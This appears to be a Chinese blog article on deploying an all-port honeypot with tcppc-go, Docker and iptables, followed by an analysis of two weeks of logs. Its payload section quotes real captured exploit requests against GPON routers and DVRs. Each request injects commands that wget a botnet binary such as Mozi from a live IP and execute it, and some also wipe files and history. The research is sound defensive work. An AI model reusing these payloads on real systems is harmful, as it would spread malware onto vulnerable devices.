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全端口蜜罐的部署过程与数据分析

2020-9-3 08:27| 投稿: |来自:


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摘要: 在当前的网络环境中,存在着各种流量,包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件的探测流量等等,例如mirai病毒在进行telnet爆破过程中,其目标IP就是随机生成的(排除内网IP及一些特殊IP)。前段时间,本人对SSH蜜罐cowire的docker部署及数据展示进行了介绍,有兴趣的读者可以查看文 ...

一、引言

在当前的网络环境中,存在着各种流量,包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件的探测流量等等,例如mirai病毒在进行telnet爆破过程中,其目标IP就是随机生成的(排除内网IP及一些特殊IP)。前段时间,本人对SSH蜜罐cowire的docker部署及数据展示进行了介绍,有兴趣的读者可以查看文章《Cowrie蜜罐的Docker部署过程及Elasticsearch+Kibana可视化》。本文将继续蜜罐这个方向,介绍一种全端口蜜罐。

一般而言,大部分蜜罐都是针对某种服务来运行的,例如前文提到的ssh蜜罐cowrie。通过模拟该种服务的正常协议交互,完成握手阶段,并进行数据传输,基于这种蜜罐可以记录攻击者的行为。但前文提到,mirai病毒定位目标是通过随机的IP算法生成;同时每天云主机的SSH端口也收到各种爆破流量,由此本人萌生了一个想法,那么是不是还有其他端口也在受到扫描或者攻击。要获取这些信息,显然使用tcpdump并不可行,虽然能收到各种扫描的流量,但没有系统协议栈的支撑,并不能得知连接的负载;而如果使用开启多个端口又不现实,毕竟端口数量这么多,管理起来也不方便。要满足上述需求,需要一个能够接受全端口流量的蜜罐。

本文基于上述背景,部署一款全端口蜜罐,并对半个月时间内收到的日志进行简单分析。整体的文章结构如下:首先介绍使用tcppc-go及docker搭建一个可以记录连接信息的蜜罐,然后利用iptables将端口转发至特定端口,最后分析采集到的两周的数据。

二、全端口蜜罐的部署

2.1 需求分析

首先来具体说明一下,对于这款蜜罐的具体需求。

1. 能够接受客户端(攻击或扫描)的连接,不需要进行具体的某种协议的交互,能够接收并记录用户发送过来的数据,持续运行只要客户端还在发送数据;

2. 能够记录日志,包括连接信息,数据包内容等;

3。 能够接收系统的全端口流量。

本着不重复造轮子的思想,在github上搜索"all port honeypot",找到了一款能够满足功能的程序tcppc-go。除了能满足上述需求,同时还能支持UDP协议,甚至可以加载SSL证书,进行SSL握手。本次部署过程中不考虑SSL及UDP。其github主页上也介绍了如何能够捕获全端口的数据负载,通过iptables进行转发,但本文没有采用他的命令,请读者谨慎尝试。

2.2 部署过程

tcppc-go是一款使用go语言编写的程序,虽然本人有一些go语言基础,但是不想折腾基础语言环境,就借助docker的方式来搭建这个蜜罐,这样也方便没有go基础的读者直接进行部署。因此,本次部署过程中,与上一篇cowrie蜜罐相同,采用docker部署的方式,但不进行数据展示,直接输出原始日志,本次蜜罐部署的环境如下:


2.2.1 构造镜像

Dockerfile是构造镜像的模板,docker会根据Dockerfile的程序逐渐构造镜像,关于具体的指令,下面的Dockerfile已经添加了简单的注释,想深入了解命令使用的读者可以自行搜索。

###使用golang作为基础镜像提供程序运行环境
FROM golang
#设置时区变量
ENV TZ=Asia/Shanghai
#调整时区,从github拉取相应源码,并编译
run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone &&
go get github.com/md-irohas/tcppc-go &&
cd /go/src/github.com/md-irohas/tcppc-go &&
go build main.go
#跳转至生成的程序位置
WORKDIR /go/bin/
#执行命令
cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

上述Dockerfile的主要构造流程如下。首先,拉取golang作为基础镜像,为程序提供go语言环境;然后,在设置了时区变量之后,将时区调整为上海市区,如果不调整,默认会比上海时间慢8个小时;其次,利用go命令获取程序源码;最后,进入相应路径进行编译。

新创建一个文件夹dockertest(后续操作均将在该路径下执行),并按照上述内容编辑Dockerfile文件,在文件夹下执行命令:`docker build -t allport:1.0 .`

其中-t参数是设置最终生成镜像的名字与版本号,可自行调整;程序会运行一段时间,大致上需要3-5分钟时间,主要卡顿在拉取go基础镜像和获取github源码过程中。


上述命令会输出以上信息,输出这些信息表明蜜罐已经构建成功;测试镜像是否成功构造并能运行,首先创建log文件夹,用来后续挂载文件夹到镜像中,并保存日志,执行以下命令。

docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/ all_port:1。0

此时可以查看到log文件夹下已经生成了log文件。非root用户可能需要调整文件夹的权限。docker运行命令中,利用--net=host让镜像使用宿主机的网络,这样可以直接绑定端口到系统上,后续利用iptable时,只需要指定端口。 tcppc-go会默认绑定tcp/udp端口号12345,可以通过telnet 0 12345进行测试,随便敲击命令,即可在日志中查看到日志。


按照上述步骤能够出现以上信息,说明镜像已经构造成功,并且能够成功运行并获取日志。但是当前只是开启的一个端口进行监听,下面来介绍通过iptables将本机端口转发至tcppc-go的12345端口。

2.2.2 调整iptables进行端口转发

请注意,利用iptables如果命令错误可能导致机器无法访问,或者影响其他正常服务,特别是SSH端口。一定要注意自己的命令是否正确。最好是在自己的测试机或者虚拟机上先测试命令,保证命令正确无影响。以下命令均在本人的机器上测试没有问题,但是每个人的情况都不同,请一定谨慎

先来解释一个最简单的命令iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

下面来说明一下命令的具体内容,该命令将在防火墙的nat表(-t nat)中prerouting(-A PREROUTING)位置创建一条规则,这条规则针对发往网卡eth0(-i eth0)tcp协议(-p tcp)的流量,其中端口范围是5000-8000(--dport 5000:8000)的将重定向至12345端口(-j REDIRECT --to-ports 12345)。

执行命令(外网IP),telnet your_machine_ip 5000,可以发现成功联通;上述命令不支持在部署蜜罐的本机进行使用"0.0.0.0"或者回环地址测试,会回显拒绝服务的信息,这是由于iptables的生效位置导致。

虽然上述命令可以将端口转发至蜜罐的端口,但是输出的蜜罐日志中却缺失了端口信息,所有的流量都呈现为访问12345端口,这样不利于具体的端口行为分析。所以需要调整上述命令,来记录端口转发过程日志。下面来具体说明在实际部署过程中采用的命令。为了验证命令的可行性,会将原有蜜罐的防火墙规则清楚,重新逐步加载规则。

执行命令查看nat表中现有的规则,iptables -t nat -L -nv,得到以下图片中输出。


上图输出中的最后一条规则正是刚刚执行的命令生成的,先执行命令把这条规则删除,执行命令iptables -t nat -D PREROUTING 5,其中5对应的这条规则的编号,可以通过以下命令(iptables -t nat -L -nv --line-numbers)来获取编号。在后续中,如果发现规则有问题,可以按照编号删除相应的规则,一定要注意不要把正常的规则删除。


一、开启iptables日志

1. 在文件/etc/rsyslog.conf中添加一行内容,kern.info /var/log/iptables.log

2. 为了让日志和ssh日志一样回滚,将文件名/var/log/iptables.log加入文件/etc/logrotate.d/syslog中,配置后文件内容如下。


3. 执行重启服务service rsyslog restart使配置生效。

二、iptables日志规则

执行以下两条命令。

iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

下面简单说明一下上述命令的含义。第一条命令是将进来的流量进行记录,日志等级6对应前面的kern。info,日志前缀为port_for,无意义,可自行定义。第二条命令将流量重定向至端口12345。经过测试,上述两条命令如果顺序颠倒,虽然能进行重定向,但没有日志输出。

测试:执行命令telnet your_machine_ip 5000,可以在/var/log/iptables。log中看到实时输出。


其他端口只需要修改端口范围即可,执行命令类似;如果命令都正确,却无法连通,请查看是否是云主机没有开放端口的原因。

2.2.3 部署过程小结

在前面的内容中,本文描述了如何通过docker部署tcppc-go程序,并简单介绍了利用iptables完成端口转发功能。请在自己机器上部署的读者在执行iptables命令时,一定要谨慎,最好是现在虚拟机或者测试机上进行命令的测试,以免造成不必要的麻烦。

三、全端口蜜罐的数据分析

前文中,已经对全端口蜜罐的部署过程进行了详细的描述。按照步骤部署,现在可以拥有两个源头的数据,一个是由iptables进行端口转换过程中,生成的端口转换日志(TCP连接);一个是由tcppc-go程序采集到的连接信息(包含负载)。下面利用python分别来对这两方面数据进行分析,主要用到的第三方库是pandas数据分析库,同时采用jupyter-notebook的形式方便分析过程。分析的日志时间为从2020年5月24日至2020年6月7日,其中在5月24日进行部署,日志仅为半天的数据量,其余时间均为整天的数据。本部分分析集中于数据的分析,对代码实现不进行详细描述,后文中提供github地址,包含jupyter的分析过程。

注:因为本人的云主机中还承载着SSH/蜜罐(22/2222端口),以及SSH蜜罐(23/2323),这部分服务由之前一篇文章中介绍的cowrie蜜罐处理,下文中的日志中没有体现这部分日志,可能会在日志数量上有偏差。利用iptables转发范围包括(24-2221),(2324-65535)。


3.1 iptables端口转化日志数据分析

图1. 日志数量(按天)

从图1中可以看出,在部署蜜罐之后,日志数量在两天后趋于稳定,如果排除5月24日不计,剩余14天每天的平均日志数量为35000左右。


图2。 去重日志数量

虽然每天的日志数量非常多,但是从去重的ip/端口数量(图2)上来看,每天的IP数量趋于稳定,大致在2400左右;端口数量较多在14000左右。


图3. 日志中访问端口排序

图3展示了在15天日志中,访问最多的是445端口,配合最近爆出的SMB漏洞,这个端口的访问量这么高,不难理解;其次是8088(大概率是WEB服务)、1433(SQL Server默认端口)。图3主要针对所有日志的端口进行排序,下面将每个访问的端口的ip进行去重后,来查看访问最高的端口。

图4. 日志中访问端口(IP去重)排序

从图4中可以看出,在经过IP去重后再排序,第一个端口和第二个端口的差距没有那么悬殊了,通过第二第三多的端口也发生了变化。以上图片中均采用天为单位进行说明,下面采用时间区间比较小的30min中来说明。以下去重意义,是指在时间区间内,对IP或者端口分别进行去重。


图5。 日志数量(每30分钟)

从图5中可以看出,IP数量趋于稳定,但日志数量不稳定,且存在波动;去重日志中,端口数量多于IP数量,存在扫描行为或者同一个IP连接多个端口的行为。如果没有扫描行为,那么源IP与目的端口数量应该是相当的;日志数量明显高于其他两个数量的时间点,说明存在某个IP对某个端口(或多个端口)进行了多次访问,产生了多次日志。上图的时间广度太大了,下面来通过一天的日志来说明这个前面的结论。


图6. 25号日志数量

在图6中的标识中,类型1椭圆处,日志数量与目的端口数量激增,且数量相当,说明存在某个IP在进行端口扫描行为;类型2的椭圆处,IP数量与端口数量相当,但日志数量比前者多,说明了某个IP对某个端口(或多个端口)进行了多次访问。虽然类型2中,也有可能有IP在进行小规模的端口扫描,但相对来说,类型1的这种现象更能说明有IP进行端口扫描的行为。为了验证结论,这里将类型1位置时间的日志打印出来,具体可以从图7中看出,的确存在扫描行为。


图7. 端口扫描行为的日志


图8. 国家分布

图8绘制了全部日志地域分布,分析过程中采用了第三方库geoip2。在国家分布中,除了中国作为第一位,俄罗斯和荷兰日志量最多,本人在部署HTTP代理蜜罐过程中也发现了这样的情况,存在大量俄罗斯的IP在进行访问。

3.2 TCP连接数据负载分析

在处理TCP负载日志中发现,tcppc-go生成的日志为json格式,且数据负载已经由base64进行编码,虽然pandas支持从json文件中获取数据,但有些数据类型,例如数组,并不能完美支持。本次主要查看TCP负载中一些攻击的流量,在对数据负载进行解码之后,直接按照某些特殊字符查找。按照之前部署ssh蜜罐的经验,很多通过wget进行恶意样本的下载;同时HTTP协议中,有些存在webshll服务。下面就按照两个字符串进行分析:"wget"和"shell"。这部分日志数量非常大,这里仅仅贴出一些作为示例。

POST /GponForm/diag_Form?images/ HTTP/1.1rnHost: 127.0.0.1:80rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: Hello, WorldrnContent-Length: 118rnrnXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://116.114.95.192:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

经过搜索,上述载荷是利用GPON漏洞[1]。

GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20http://23.254.227.92/bins.sh%20-O%2012.bins.sh;curl%20-O%20http://23.254.227.92/bins.sh%20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0rnrn

DVR漏洞[2]。

GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1rnHost: xx.xx.xx.xx:5500rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1rnHost: xx.xx.xx.xx:5502rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64rnrn
GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20http://185.103.110.146/axisbins.sh;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1rnHost: xx.xx.xx.xx:5501rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.89.155:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1rnUser-Agent: Hello, worldrnHost: xx.xx.xx.xx:80rnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rnConnection: keep-alivernrn

上述命令不清楚是什么产品的漏洞。但是这些负载都是TCP的首包,说明这些攻击不需要进行交互,他们的原理应该与mirai僵尸网络病毒一致,通过随机生成IP来攻击主机。同时,日志中存在各种爬虫以及服务探测的流量,这里不再一一列举。

3.3 数据分析总结

本小节针对采集到的日志进行了分析,主要针对端口转换过程中产生的端口日志进行了详细的分析,分析了日志数量,端口分布,地域分布等,可以发现扫描行为,且知道被探测端口最多的是哪些;对于负载分析部分,主要利用已知的两种指纹wget和shell直接进行匹配,可以发现非常多的日志,这些连接没有前期交互,直接就开始下载恶意样本。

四、 总结

本篇文章主要针对全端口蜜罐的部署以及数据分析展开。利用iptables配合开源软件tcppc-go记录日志,然后详细分析了端口转换日志,并简单列举了几种攻击样本。通过本文的分析,可以发现一台存活的云主机其受到的流量行为分布:端口、访问IP、地域,以及查看各种负载;通过端口转发日志可以看到端口扫描行为,通过负载信息,可以看到存在各种样本。但本文中的方法主要是进行离线分析,后续如果有机会再开发实时显示的系统;同时利用非结构数据库来存储负载信息。

本文所使用的dockerfile以及分析端口转发日志的jupyter分析过程已经上传至allporthoneyport。

参考文章

1(https://zhuanlan.zhihu.com/p/36741900?utm_source=com.huawei.works)

2(https://www.seebug.org/vuldb/ssvid-92493)

原文地址:https://www.freebuf.com/articles/network/240041.html



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本文出自:https://www.toutiao.com/i6866996825878954508/

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